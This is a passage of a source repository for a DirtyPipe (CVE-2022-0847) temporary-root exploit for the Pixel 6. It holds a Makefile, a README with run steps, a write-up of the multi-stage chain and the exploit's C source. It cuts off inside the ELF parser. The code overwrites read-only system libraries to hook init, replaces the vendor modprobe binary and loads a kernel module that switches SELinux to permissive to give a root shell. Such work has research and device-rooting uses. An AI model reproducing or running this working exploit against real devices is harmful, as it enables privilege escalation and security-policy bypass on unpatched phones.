├── .gitignore ├── Makefile ├── README.md ├── TECHNICAL-DETAILS.md ├── dirtypipe-android.c ├── elf-parser.c ├── env-patcher.c ├── include.inc ├── magisk ├── Magisk-v24.3.apk ├── boot_patch.sh ├── busybox ├── magisk ├── magiskboot ├── magiskinit └── util_functions.sh ├── modprobe-payload.c ├── mymod-permissive.ko ├── mymod.ko ├── mymod ├── Makefile ├── build-script-patch.patch └── mymod.c ├── release.sh ├── run.bat ├── run.sh ├── screenshot1.png ├── stage1.S ├── stage2-c.c ├── stage2-payload-include.S ├── stage2.S ├── stage2.lds └── startup-root /.gitignore: -------------------------------------------------------------------------------- 1 | dirtypipe-android 2 | modprobe-payload 3 | stage2-payload 4 | stage2 5 | stage2.text 6 | stage2-symbol.h 7 | env-patcher 8 | dist/ 9 | 10 | *.o 11 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC=aarch64-linux-android31-clang 2 | CXX=aarch64-linux-android31-clang++ 3 | STRIP=llvm-strip 4 | CFLAGS=-O2 $(CPPFLAGS) 5 | ADB=adb 6 | MYMOD_COPY=../../p6/kernel/out/android-gs-pixel-5.10/dist/mymod.ko 7 | D=/data/local/tmp 8 | OBJS=dirtypipe-android.o elf-parser.o stage1.o stage2-payload-include.S 9 | VERSION=1.0.4 10 | 11 | build: dirtypipe-android mymod.ko env-patcher 12 | 13 | dirtypipe-android: $(OBJS) Makefile stage2-payload 14 | $(CC) $(CFLAGS) -Wall -o $@ $(OBJS) 15 | 16 | dirtypipe-android.o: dirtypipe-android.c Makefile stage2-symbol.h 17 | $(CC) $(CFLAGS) -Os -c -o $@ $< 18 | 19 | elf-parser.o: elf-parser.c Makefile 20 | $(CC) $(CFLAGS) -Os -c -o $@ $< 21 | 22 | stage1.o: stage1.S Makefile include.inc 23 | $(CC) $(CPPFLAGS) -c -o $@ $< 24 | 25 | stage2.o: stage2.S Makefile include.inc 26 | $(CC) $(CPPFLAGS) -nostdlib -c -o $@ $< 27 | 28 | stage2-c.o: stage2-c.c Makefile 29 | $(CC) $(CPPFLAGS) -Os -nostdlib -c -o $@ $< 30 | 31 | stage2: stage2-c.o stage2.o stage2.lds Makefile 32 | $(CC) $(CPPFLAGS) -T stage2.lds -nostdlib -nostartfiles -static -o $@ stage2-c.o stage2.o 33 | 34 | # Must be smaller than 4096 bytes 35 | stage2.text: stage2 Makefile 36 | aarch64-linux-gnu-objcopy -O binary -j .text $< $@ 37 | 38 | stage2-symbol.h: stage2 Makefile 39 | echo -n "unsigned long stage2_libname_addr = 0x" > $@ 40 | (nm $< | grep -e ' T libname'$ | cut -f 1 -d " " | tr -d $$'\n'; echo "UL - 0x2000UL;") >> $@ || (rm $@; false) 41 | echo -n "unsigned long stage2_root_cmd_addr = 0x" >> $@ 42 | (nm $< | grep -e ' T root_cmd'$ | cut -f 1 -d " " | tr -d $$'\n'; echo "UL - 0x2000UL;") >> $@ || (rm $@; false) 43 | 44 | # Must be smaller than 4096 bytes 45 | modprobe-payload: modprobe-payload.c Makefile 46 | $(CC) $(CPPFLAGS) -Os -nostartfiles -o $@ $< -llog 47 | $(STRIP) $@ 48 | 49 | mymod.ko: $(MYMOD_COPY) 50 | cp $(MYMOD_COPY) mymod.ko 51 | 52 | # Page 1: stage2.text (Up to 1 page) 53 | # Page 2: modprobe-payload (Up to 1 page) 54 | # Page 3-6: mymod.ko (Up to 4 page) 55 | stage2-payload: stage2.text modprobe-payload mymod.ko Makefile 56 | test -z "$$(find stage2.text -size +4096c)" 57 | test -z "$$(find modprobe-payload -size +4096c)" 58 | test -z "$$(find mymod.ko -size +16384c)" 59 | cp stage2.text $@ 60 | truncate -s 4096 $@ 61 | cat modprobe-payload >> $@ 62 | truncate -s $(shell echo $$(( 4096 * 2 ))) $@ 63 | cat mymod.ko >> $@ 64 | truncate -s $(shell echo $$(( 4096 * 6 ))) $@ 65 | 66 | stage2-payload-include.o: stage2-payload-include.S stage2-payload Makefile 67 | $(CC) -c -o $@ $< 68 | 69 | env-patcher: env-patcher.c Makefile 70 | $(CC) -o $@ $< 71 | 72 | clean: 73 | -rm dirtypipe-android.o elf-parser.o stage1.o stage2-payload dirtypipe-android 74 | -rm stage2.text stage2 stage2-c.o stage2.o 75 | -rm stage2-symbol.h 76 | -rm modprobe-payload 77 | 78 | ### INSTALL ### 79 | 80 | install: dirtypipe-android startup-root env-patcher 81 | $(ADB) push dirtypipe-android startup-root magisk/ env-patcher $(D) 82 | $(ADB) shell chmod 755 $(D)/dirtypipe-android $(D)/startup-root $(D)/magisk/busybox $(D)/magisk/magiskinit $(D)/env-patcher 83 | 84 | run: install 85 | $(ADB) shell $(D)/dirtypipe-android 86 | 87 | release: build 88 | ./release.sh $(VERSION) 89 | 90 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DirtyPipe for Android 2 | Dirty Pipe (CVE-2022-0847) temporary root PoC for Android. 3 | 4 | # Targets 5 | Currently only run on Pixel 6 with security patch level from 2022-02-05 to 2022-04-05. 6 | Don't use on other devices or other versions. It must crash (reboot). 7 | 8 | Dirty Pipe is finally patched on 2022 May security update on Pixel 6. 9 | 10 | There is a port to Realme GT2 Pro by @rapperskull (https://github.com/polygraphene/DirtyPipe-Android/issues/12). [link](https://forum.xda-developers.com/t/eu-model-unlock-bootloader-of-european-model.4454787/) 11 | 12 | Certain version of Galaxy S22 is also vulnerable. But not ported yet. (https://github.com/polygraphene/DirtyPipe-Android/issues/3) 13 | 14 | # WARNING 15 | There is possiblity to brick your phone by using this tool. Use it at your own risk. 16 | Especially, don't update/install magisk from magisk app. It will cause permanent brick. 17 | 18 | # How to use 19 | 1. Download binary from release page. 20 | 2. Setup adb (android platform tools). 21 | 3. Launch run.bat (For Windows) or run.sh (For Linux/Mac) 22 | - If you get `'adb' is not recognized ...` errors, check to add adb to PATH. 23 | 4. Wait several seconds (~30s) until Magisk app is automatically installed. 24 | 5. Run `adb shell` then `/dev/.magisk/su` (Or simply `su`) to get root shell. 25 | 26 | ![Screenshot](/screenshot1.png) 27 | 28 | # About Magisk 29 | 1. Don't use install button on magisk app. It will brick your phone. 30 | 2. Don't reboot even if magisk app request. It will lose temporary root. 31 | 3. Only support root access. No magisk/zygisk modules support. 32 | 33 | # How to build 34 | 1. Install Android NDK 35 | 2. Set PATH for aarch64-linux-android31-clang 36 | ``` 37 | export PATH=$PATH:$ANDROID_NDK/toolchains/llvm/prebuilt/linux-x86_64/bin 38 | ``` 39 | 3. Run make 40 | ``` 41 | $ make 42 | ``` 43 | 44 | # How to build kernel module 45 | 1. Download Pixel 6 kernel source. [Link](https://source.android.com/setup/build/building-kernels) 46 | 2. Put mymod directory on kernel/private/google-modules/ 47 | 3. Apply mymod/build-script-patch.patch to kernel/private/gs-google 48 | 4. Run build script 49 | 50 | ``` 51 | # For the first build 52 | $ LTO=thin ./build/build.sh 53 | # For faster rebuild (skip full rebuild) 54 | $ SKIP_MRPROPER=1 SKIP_DEFCONFIG=1 LTO=thin ./build/build.sh 55 | ``` 56 | 57 | # Technical details 58 | See [here](TECHNICAL-DETAILS.md) 59 | 60 | # Future work 61 | - ~~Stop using insecure telnet~~ 62 | - Make apk 63 | - ~~Install Magisk~~ 64 | - Add device support 65 | 66 | # Credits 67 | - https://dirtypipe.cm4all.com/ 68 | - https://github.com/topjohnwu/Magisk 69 | - https://github.com/j4nn/CVE-2020-0041/blob/v50g8-mroot/scripts/magisk-start.sh 70 | 71 | -------------------------------------------------------------------------------- /TECHNICAL-DETAILS.md: -------------------------------------------------------------------------------- 1 | # Prior knowledge 2 | 1. Dirty Pipe (CVE-2022-0847) can overwrite readable files. 3 | 2. Can't overwrite first byte of each page (each 4096 byte) 4 | 5 | # Basic idea 6 | - On Android, there is neither /etc/passwd nor suid. Futhermore we are monitored by SELinux for every operations on the system. 7 | - But we can read (and overwrite) system libraries (/system/lib/lib\*.so) by any process. 8 | - init process load many system libraries (dynamically linked on modern Android). 9 | - init process can read (and overwrite) more files than app process. 10 | - Use dirtypipe multiple times to load kernel module we tailored. 11 | 12 | # Exploit process 13 | - This exploit comprises following stages. 14 | 1. Hook init process 15 | 2. Rewrite /vendor/bin/modprobe and vendor library. 16 | 3. fork()/execve() into /vendor/bin/modprobe. 17 | 4. Load kernel module to disable selinux. 18 | 19 | - Stage1 20 | 1. Overwrite `/system/lib64/libc++.so` which is used by init. 21 | - Hook the function `_ZNSt3__115basic_streambufIcNS_11char_traitsIcEEEC2Ev (std::__1::basic_streambuf >::basic_streambuf())` 22 | - We can trigger that function by running `setprop` command. 23 | 24 | 2. Send next stage payload via `/system/lib/libldacBT_enc.so`. 25 | - `libc++` has very limited space. 26 | - 32bit `libldacBT_enc.so` should not be used so frequently, right? 27 | 28 | 3. Payload in `libc++` `mmap`s `libldacBT_enc.so` for stage2 payload. 29 | 30 | - Stage2 31 | 1. We now in init process! 32 | 33 | 2. Overwrite `/vendor/bin/modprobe` with modprobe-payload 34 | - modprobe has the privilege to load kernel module 35 | 36 | 3. Overwrite `/vendor/lib/libstagefright_soft_mp3dec.so` with content of kernel module (mymod.ko) 37 | - modprobe can load kernel module from vendor_file context. 38 | - I have chosen this library because it has the same content as mymod.ko at offset=4096 which cannot be overwritten by dirtypipe. 39 | 40 | 4. Transition to `vendor_modprobe` context then fork()/execve(`/vendor/bin/modprobe`) 41 | 42 | - vendor\_modprobe (modprobe-payload) 43 | 1. open(`/vendor/lib/libstagefright_soft_mp3dec.so`) 44 | - The file content was replaced to mymod.ko 45 | 46 | 2. finit\_module(mymod.ko) 47 | - mymod.ko sets selinux domain of calling process to permissive. 48 | 49 | 3. Run `startup-root` script 50 | - root with permissive domain. 51 | 52 | # Information 53 | ``` 54 | $ sesearch --allow policy-dump|grep module_load 55 | allow init-insmod-sh vendor_kernel_modules:system module_load; 56 | allow ueventd vendor_file:system module_load; 57 | allow vendor_modprobe vendor_file:system module_load; 58 | 59 | -rw-r--r-- 1 root root u:object_r:system_lib_file:s0 43168 2009-01-01 09:00 /system/lib/libldacBT_enc.so 60 | -rw-r--r-- 1 root root u:object_r:system_lib_file:s0 700392 2009-01-01 09:00 /system/lib64/libc++.so 61 | -rw-r--r-- 1 root root u:object_r:vendor_file:s0 71068 2009-01-01 09:00 /vendor/lib/libstagefright_soft_mp3dec.so 62 | lrwxr-xr-x 1 root shell u:object_r:vendor_file:s0 7 2009-01-01 09:00 /vendor/bin/modprobe -> toolbox 63 | ``` 64 | 65 | - `finit_module` can load `vendor_kernel_modules` or `vendor_file`. Both are not readable by adb shell or non-system app. So kernel module must be prepared by other selinux contexts. `init` context can be used for that (stage1 payload). 66 | 67 | - init-insmod-sh and ueventd should also available for this technique. (Not yet implemented/tested) 68 | 69 | # How to add device support 70 | - This method has device dependency by the following points: 71 | - Function offset in libc++.so 72 | - Empty space size in libc++.so 73 | - Availability of `/vendor/bin/modprobe` 74 | - Availability of `/vendor/lib/libstagefright_soft_mp3dec.so` 75 | - It must match the content of mymod.ko 76 | - Build kernel module for specific devices. 77 | 78 | 79 | -------------------------------------------------------------------------------- /dirtypipe-android.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | /* 3 | * Copyright 2022 CM4all GmbH / IONOS SE 4 | * 5 | * author: Max Kellermann 6 | * 7 | * Proof-of-concept exploit for the Dirty Pipe 8 | * vulnerability (CVE-2022-0847) caused by an uninitialized 9 | * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 10 | * file contents in the page cache, even if the file is not permitted 11 | * to be written, immutable or on a read-only mount. 12 | * 13 | * This exploit requires Linux 5.8 or later; the code path was made 14 | * reachable by commit f6dd975583bd ("pipe: merge 15 | * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 16 | * there before, it just provided an easy way to exploit it. 17 | * 18 | * There are two major limitations of this exploit: the offset cannot 19 | * be on a page boundary (it needs to write one byte before the offset 20 | * to add a reference to this page to the pipe), and the write cannot 21 | * cross a page boundary. 22 | * 23 | * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 24 | * 25 | * Further explanation: https://dirtypipe.cm4all.com/ 26 | */ 27 | 28 | #define _GNU_SOURCE 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #include "stage2-symbol.h" 43 | 44 | extern char stage1_start[]; 45 | extern char stage1_data[]; 46 | extern uint32_t stage1_len; 47 | extern char stage1_filename[]; 48 | extern char stage1_stage2_libname[]; 49 | extern char stage1_first_inst_copy[]; 50 | 51 | #define STAGE1_STAGE2_LIBNAME_LEN 64 52 | 53 | #define STAGE2_PAGES (1 + 1 + 4) 54 | extern char stage2_payload[]; 55 | 56 | #ifndef PAGE_SIZE 57 | #define PAGE_SIZE 4096 58 | #endif 59 | 60 | int find_hook_target(const char *libcxx, uint64_t *hook_target, uint64_t *payload_target 61 | , uint32_t* first_instruction); 62 | 63 | /** 64 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 65 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 66 | */ 67 | static void prepare_pipe(int p[2]) 68 | { 69 | if (pipe(p)) abort(); 70 | 71 | const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 72 | static char buffer[4096]; 73 | 74 | /* fill the pipe completely; each pipe_buffer will now have 75 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 76 | for (unsigned r = pipe_size; r > 0;) { 77 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 78 | write(p[1], buffer, n); 79 | r -= n; 80 | } 81 | 82 | /* drain the pipe, freeing all pipe_buffer instances (but 83 | leaving the flags initialized) */ 84 | for (unsigned r = pipe_size; r > 0;) { 85 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 86 | read(p[0], buffer, n); 87 | r -= n; 88 | } 89 | 90 | /* the pipe is now empty, and if somebody adds a new 91 | pipe_buffer without initializing its "flags", the buffer 92 | will be mergeable */ 93 | } 94 | 95 | int overwrite(int p[2], int fd, loff_t offset, const char *data, int data_size) { 96 | if (offset % PAGE_SIZE == 0) { 97 | fprintf(stderr, "Sorry, cannot start writing at a page boundary\n"); 98 | return EXIT_FAILURE; 99 | } 100 | 101 | const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1; 102 | const loff_t end_offset = offset + (loff_t)data_size; 103 | if (end_offset > next_page) { 104 | fprintf(stderr, "Sorry, cannot write across a page boundary\n"); 105 | return EXIT_FAILURE; 106 | } 107 | 108 | if(lseek64(fd, 0, SEEK_SET) < 0){ 109 | perror("lseek64"); 110 | return EXIT_FAILURE; 111 | } 112 | 113 | /* splice one byte from before the specified offset into the 114 | pipe; this will add a reference to the page cache, but 115 | since copy_page_to_iter_pipe() does not initialize the 116 | "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ 117 | --offset; 118 | loff_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); 119 | if (nbytes < 0) { 120 | perror("splice failed"); 121 | return EXIT_FAILURE; 122 | } 123 | if (nbytes == 0) { 124 | fprintf(stderr, "short splice\n"); 125 | return EXIT_FAILURE; 126 | } 127 | 128 | /* the following write will not create a new pipe_buffer, but 129 | will instead write into the page cache, because of the 130 | PIPE_BUF_FLAG_CAN_MERGE flag */ 131 | nbytes = write(p[1], data, data_size); 132 | if (nbytes < 0) { 133 | perror("write failed"); 134 | return EXIT_FAILURE; 135 | } 136 | if ((size_t)nbytes < data_size) { 137 | fprintf(stderr, "short write\n"); 138 | return EXIT_FAILURE; 139 | } 140 | return 0; 141 | } 142 | 143 | int load_run_index(const char *base_dir) { 144 | char run_index_path[500]; 145 | int run_index = 0; 146 | 147 | sprintf(run_index_path, "%s/dirtypipe-run-index", base_dir); 148 | 149 | int fd = open(run_index_path, O_RDONLY); 150 | if(fd >= 0){ 151 | char buf[100]; 152 | read(fd, buf, sizeof(buf) - 1); 153 | close(fd); 154 | 155 | buf[sizeof(buf) - 1] = 0; 156 | run_index = atoi(buf); 157 | } 158 | 159 | if(run_index < 0 || 9999 <= run_index){ 160 | run_index = 0; 161 | } 162 | 163 | fd = open(run_index_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); 164 | if(fd >= 0){ 165 | char buf[100]; 166 | sprintf(buf, "%d", run_index + 1); 167 | write(fd, buf, strlen(buf)); 168 | close(fd); 169 | } 170 | 171 | return run_index; 172 | } 173 | 174 | /* 175 | This function is called in /system/bin/init when run setprop command. 176 | 177 | Pixel 6 2022-02-05 178 | $ llvm-objdump -TC libc++.so 179 | 000000000005a9dc w DF .text 0000000000000040 std::__1::basic_streambuf >::basic_streambuf() 180 | 181 | Mangled: _ZNSt3__115basic_streambufIcNS_11char_traitsIcEEEC2Ev 182 | */ 183 | 184 | void sighandler_empty(int a){} 185 | 186 | int main(int argc, char **argv) 187 | { 188 | const char *stage1_lib = "/system/lib64/libc++.so"; 189 | const char *stage2_lib = "/system/lib/libldacBT_enc.so"; 190 | const char *stage2_param_libname = NULL; 191 | size_t data_size; 192 | uint64_t shellcode_offset = 0; 193 | uint64_t hook_offset = 0; 194 | uint32_t first_instruction = 0; 195 | 196 | char product[PROP_VALUE_MAX] = {}; 197 | char fingerprint[PROP_VALUE_MAX] = {}; 198 | __system_property_get("ro.build.product", product); 199 | __system_property_get("ro.build.fingerprint", fingerprint); 200 | 201 | if(argc >= 2 && strcmp(argv[1], "-f") == 0){ 202 | printf("Ignore device info.\n"); 203 | if(argc >= 3){ 204 | stage2_param_libname = argv[2]; 205 | }else{ 206 | stage2_param_libname = "/vendor/lib/libstagefright_soft_mp3dec.so"; 207 | } 208 | if(argc >= 4){ 209 | stage2_lib = argv[3]; 210 | } 211 | }else{ 212 | if(strcmp(product, "oriole") == 0){ 213 | if(strcmp(fingerprint, "google/oriole/oriole:12/SQ1D.220205.004/8151327:user/release-keys") == 0){ 214 | // Pixel 6 2022-02-05 215 | stage2_param_libname = "/vendor/lib/libstagefright_soft_mp3dec.so"; 216 | }else if(strcmp(fingerprint, "google/oriole/oriole:12/SP2A.220305.013.A3/8229987:user/release-keys") == 0){ 217 | // Pixel 6 2022-03-05 218 | stage2_param_libname = "/vendor/lib/libstagefright_soft_mp3dec.so"; 219 | }else if(strcmp(fingerprint, "google/oriole/oriole:12/SP2A.220405.004/8233519:user/release-keys") == 0){ 220 | // Pixel 6 2022-04-05 221 | stage2_param_libname = "/vendor/lib/libstagefright_soft_mp3dec.so"; 222 | }else{ 223 | fprintf(stderr, "Unsupported version: Product=%s Fingerprint=%s\n", product, fingerprint); 224 | return EXIT_FAILURE; 225 | } 226 | }else{ 227 | fprintf(stderr, "Unsupported product: Product=%s Fingerprint=%s\n", product, fingerprint); 228 | return EXIT_FAILURE; 229 | } 230 | } 231 | printf("Device version: Product=%s Fingerprint=%s\n", product, fingerprint); 232 | printf("stage1_lib: %s\n", stage1_lib); 233 | printf("stage2_lib: %s\n", stage2_lib); 234 | printf("stage2_param_libname: %s\n", stage2_param_libname); 235 | if(strlen(stage2_lib) >= STAGE1_STAGE2_LIBNAME_LEN){ 236 | fprintf(stderr, "Too long stage2_lib\n"); 237 | return EXIT_FAILURE; 238 | } 239 | 240 | if(find_hook_target(stage1_lib, &hook_offset, &shellcode_offset, &first_instruction)){ 241 | fprintf(stderr, "Could not find hook target and shellcode offset from libc++.so\n"); 242 | return EXIT_FAILURE; 243 | } 244 | printf("Offset found: shellcode_offset: %lx hook_offset: %lx first instruction: %08x\n", shellcode_offset, hook_offset, first_instruction); 245 | 246 | uint64_t empty_space = (PAGE_SIZE - (shellcode_offset % PAGE_SIZE)) % PAGE_SIZE; 247 | printf("Empty space size: %ld bytes\n", empty_space); 248 | 249 | if(stage1_len > empty_space){ 250 | fprintf(stderr, "Stage1 payload (%d bytes) is too large. Exit.\n", stage1_len); 251 | return EXIT_FAILURE; 252 | } 253 | 254 | char base_dir[256] = {}; 255 | readlink("/proc/self/exe", base_dir, sizeof(base_dir) - 1); 256 | *strrchr(base_dir, '/') = 0; 257 | int run_index = load_run_index(base_dir); 258 | 259 | printf("Run index: %d\n", run_index); 260 | 261 | // Shellcode is placed in empty space on .text 262 | // Max size=544 bytes 263 | //size_t shellcode_offset = 0x000a2de0UL; 264 | //size_t hook_offset = 0x0005a9dcUL; 265 | 266 | // Aarch64 branch 267 | const uint32_t BRANCH = 0x14000000; 268 | 269 | // Build branch instruction for first instruction of hook target. 270 | uint32_t hook_data = BRANCH; 271 | uint32_t start_offset = (char*)stage1_start - (char*)stage1_data; 272 | hook_data |= (shellcode_offset + start_offset - hook_offset) >> 2; 273 | int hook_data_size = 4; 274 | 275 | sprintf(stage1_filename, "/dev/.dirtypipe-%04d", run_index); 276 | printf("Stage1 debug filename: %s\n", stage1_filename); 277 | strcpy(stage1_stage2_libname, stage2_lib); 278 | 279 | // Jump back to hook target + 4. 280 | uint32_t jmpback = BRANCH; 281 | jmpback |= (((hook_offset + 4) - (shellcode_offset + stage1_len - 4)) >> 2) & 0x3ffffff; 282 | *(uint32_t *)&stage1_data[stage1_len - 4] = jmpback; 283 | 284 | *(uint32_t *)&stage1_first_inst_copy[0] = first_instruction; 285 | 286 | printf("Shell code size: %d 0x%x bytes\n", stage1_len, stage1_len); 287 | 288 | // Embed stage2 libname 289 | int libname_len = strlen(stage2_param_libname); 290 | if(libname_len >= 128 - 1){ 291 | fprintf(stderr, "Too long libname: %s\n", stage2_param_libname); 292 | return EXIT_FAILURE; 293 | } 294 | memcpy(stage2_payload + stage2_libname_addr, stage2_param_libname, libname_len + 1); 295 | 296 | // Embed the path of root startup script. 297 | char root_cmd[500]; 298 | strcpy(root_cmd, base_dir); 299 | strcat(root_cmd, "/startup-root"); 300 | if(strlen(root_cmd) >= 128 - 1){ 301 | fprintf(stderr, "Too long root_cmd: %s\n", root_cmd); 302 | return EXIT_FAILURE; 303 | } 304 | memcpy(stage2_payload + stage2_root_cmd_addr, root_cmd, strlen(root_cmd) + 1); 305 | printf("startup script: %s\n", root_cmd); 306 | chmod(root_cmd, 0755); 307 | 308 | int fd2 = open(stage2_lib, O_RDONLY); // yes, read-only! :-) 309 | if (fd2 < 0) { 310 | perror("open failed"); 311 | return EXIT_FAILURE; 312 | } 313 | 314 | /* open the input file and validate the specified offset */ 315 | int fd1 = open(stage1_lib, O_RDONLY); // yes, read-only! :-) 316 | if (fd1 < 0) { 317 | perror("open failed"); 318 | return EXIT_FAILURE; 319 | } 320 | 321 | // Backup original content. 322 | char *stage2_backup = (char *)malloc(STAGE2_PAGES * PAGE_SIZE); 323 | if(read(fd2, stage2_backup, STAGE2_PAGES * PAGE_SIZE) < 0){ 324 | perror("read backup stage2"); 325 | } 326 | char *stage1_backup = (char *)malloc(stage1_len); 327 | if(lseek64(fd1, shellcode_offset, SEEK_SET) < 0){ 328 | perror("lseek64"); 329 | } 330 | if(read(fd1, stage1_backup, stage1_len) < 0){ 331 | perror("read backup stage1"); 332 | } 333 | 334 | /* create the pipe with all flags initialized with 335 | PIPE_BUF_FLAG_CAN_MERGE */ 336 | int p[2]; 337 | prepare_pipe(p); 338 | 339 | // Send stage2 first. 340 | for(int i = 0; i < STAGE2_PAGES; i++){ 341 | overwrite(p, fd2, i * PAGE_SIZE + 1, stage2_payload + i * PAGE_SIZE + 1, PAGE_SIZE - 1); 342 | } 343 | // Send stage1 344 | overwrite(p, fd1, shellcode_offset, stage1_data, stage1_len); 345 | overwrite(p, fd1, hook_offset, (char*)&hook_data, hook_data_size); 346 | 347 | // Trigger 348 | system("setprop a a"); 349 | 350 | signal(SIGCHLD, SIG_IGN); 351 | 352 | if(fork() == 0){ 353 | // Disconnect child from adb shell. 354 | setsid(); 355 | close(0); 356 | close(1); 357 | close(2); 358 | 359 | signal(SIGHUP, SIG_IGN); 360 | // The default action of SIGUSR1 is termination of process. We don't like it. 361 | signal(SIGUSR1, sighandler_empty); 362 | 363 | // SIGUSR1 will be sent by startup-script to notify completion of exploit 364 | sigset_t set; 365 | sigemptyset(&set); 366 | sigaddset(&set, SIGHUP); 367 | sigaddset(&set, SIGINT); 368 | sigaddset(&set, SIGTERM); 369 | sigaddset(&set, SIGKILL); 370 | sigaddset(&set, SIGUSR1); 371 | int sig; 372 | int ret = sigwait(&set, &sig); 373 | 374 | // Restore stage1 375 | overwrite(p, fd1, hook_offset, (char*)&first_instruction, hook_data_size); 376 | overwrite(p, fd1, shellcode_offset, stage1_backup, stage1_len); 377 | // Restore stage2 378 | for(int i = 0; i < STAGE2_PAGES; i++){ 379 | overwrite(p, fd2, i * PAGE_SIZE + 1, stage2_backup + i * PAGE_SIZE + 1, PAGE_SIZE - 1); 380 | } 381 | 382 | exit(0); 383 | } 384 | 385 | printf("It worked!\n"); 386 | 387 | return EXIT_SUCCESS; 388 | } 389 | -------------------------------------------------------------------------------- /elf-parser.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int find_hook_target(const char *libcxx, uint64_t *hook_target, uint64_t *payload_target, uint32_t* first_instruction) { 8 | Elf64_Ehdr hdr; 9 | 10 | *hook_target = 0; 11 | *payload_target = 0; 12 | 13 | int fd = open(libcxx, O_RDONLY); 14 | if(fd < 0){ 15 | perror("open libc++.so"); 16 | return 1; 17 | } 18 | if(read(fd, (char *)&hdr, sizeof(hdr)) < sizeof(hdr)){ 19 | perror("read libc++.so"); 20 | close(fd); 21 | return 1; 22 | } 23 | if(strncmp((char *)hdr.e_ident, "\x7f""ELF", 4) != 0){ 24 | fprintf(stderr, "Invalid elf file: %s\n", libcxx); 25 | close(fd); 26 | return 1; 27 | } 28 | //printf("libc++.so Program header: %x %x %x\n", hdr.e_phoff, hdr.e_phnum, hdr.e_phentsize); 29 | if(lseek64(fd, hdr.e_phoff, SEEK_SET) < 0){ 30 | perror("lseek64 e_phoff"); 31 | close(fd); 32 | return 1; 33 | } 34 | if(hdr.e_phentsize != sizeof(Elf64_Phdr)) { 35 | fprintf(stderr, "Invalid program header size: %d\n", hdr.e_phentsize); 36 | close(fd); 37 | return 1; 38 | } 39 | for(int i = 0; i < hdr.e_phnum; i++){ 40 | Elf64_Phdr phdr; 41 | if(read(fd, (char *)&phdr, sizeof(phdr)) < 0){ 42 | perror("read phdr"); 43 | close(fd); 44 | return 1; 45 | } 46 | 47 | if(phdr.p_type == PT_LOAD){ 48 | if(phdr.p_flags & PF_X){ 49 | *payload_target = phdr.p_offset + phdr.p_filesz; 50 | } 51 | } 52 | } 53 | if(lseek64(fd, hdr.e_shoff + hdr.e_shstrndx * sizeof(Elf64_Shdr), SEEK_SET) < 0){ 54 | perror("lseek64 shdr"); 55 | close(fd); 56 | return 1; 57 | } 58 | Elf64_Shdr str_shdr; 59 | if(read(fd, (char *)&str_shdr, sizeof(str_shdr)) < 0){ 60 | perror("read shdr"); 61 | close(fd); 62 | return 1; 63 | } 64 | uint64_t dynstr = 0; 65 | uint64_t dynsym_offset = 0; 66 | uint64_t dynsym_size = 0; 67 | for(int i = 0; i < hdr.e_shnum; i++){ 68 | Elf64_Shdr shdr; 69 | if(lseek64(fd, hdr.e_shoff + i * sizeof(Elf64_Shdr), SEEK_SET) < 0){ 70 | perror("lseek64 shdr"); 71 | close(fd); 72 | return 1; 73 | } 74 | if(read(fd, (char *)&shdr, sizeof(shdr)) < 0){ 75 | perror("read shdr"); 76 | close(fd); 77 | return 1; 78 | } 79 | if(lseek64(fd, shdr.sh_name + str_shdr.sh_offset, SEEK_SET) < 0){ 80 | perror("lseek64 e_phoff"); 81 | close(fd); 82 | return 1; 83 | } 84 | char name[100]; 85 | if(read(fd, name, sizeof(name) - 1) < 0){ 86 | perror("read sh_name"); 87 | close(fd); 88 | return 1; 89 | } 90 | name[sizeof(name) - 1] = 0; 91 | if(strcmp(name, ".dynstr") == 0){ 92 | dynstr = shdr.sh_offset; 93 | } 94 | if(strcmp(name, ".dynsym") == 0){ 95 | dynsym_offset = shdr.sh_offset; 96 | dynsym_size = shdr.sh_size; 97 | } 98 | //printf("Section[%d] = %s\n", i, name); 99 | } 100 | 101 | if(dynstr == 0 || dynsym_offset == 0){ 102 | fprintf(stderr, ".dynstr or .dynsym not found\n"); 103 | close(fd); 104 | return 1; 105 | } 106 | for(int i = 0; i < dynsym_size / sizeof(Elf64_Sym); i++){ 107 | Elf64_Sym sym; 108 | if(lseek64(fd, dynsym_offset + i * sizeof(Elf64_Sym), SEEK_SET) < 0){ 109 | perror("lseek64 dynsym"); 110 | close(fd); 111 | return 1; 112 | } 113 | if(read(fd, (char *)&sym, sizeof(sym)) < 0){ 114 | perror("read dynsym"); 115 | close(fd); 116 | return 1; 117 | } 118 | if(lseek64(fd, dynstr + sym.st_name, SEEK_SET) < 0){ 119 | perror("lseek64 st_name"); 120 | close(fd); 121 | return 1; 122 | } 123 | char name[200]; 124 | if(read(fd, name, sizeof(name) - 1) < 0){ 125 | perror("read st_name"); 126 | close(fd); 127 | return 1; 128 | } 129 | name[sizeof(name) - 1] = 0; 130 | if(strcmp(name, "_ZNSt3__115basic_streambufIcNS_11char_traitsIcEEEC2Ev") == 0){ 131 | *hook_target = sym.st_value; 132 | } 133 | //printf("Dymsym[%d] = %s\n", i, name); 134 | } 135 | if(*hook_target == 0){ 136 | fprintf(stderr, "Could not find symbol name for hook target.\n"); 137 | close(fd); 138 | return 1; 139 | } 140 | // Extract first instruction 141 | if(lseek64(fd, *hook_target, SEEK_SET) < 0){ 142 | perror("lseek64 hook_target"); 143 | close(fd); 144 | return 1; 145 | } 146 | if(read(fd, first_instruction, sizeof(*first_instruction)) < 0){ 147 | perror("read first instruction"); 148 | close(fd); 149 | return 1; 150 | } 151 | if(*first_instruction == 0xd503233fU){ 152 | 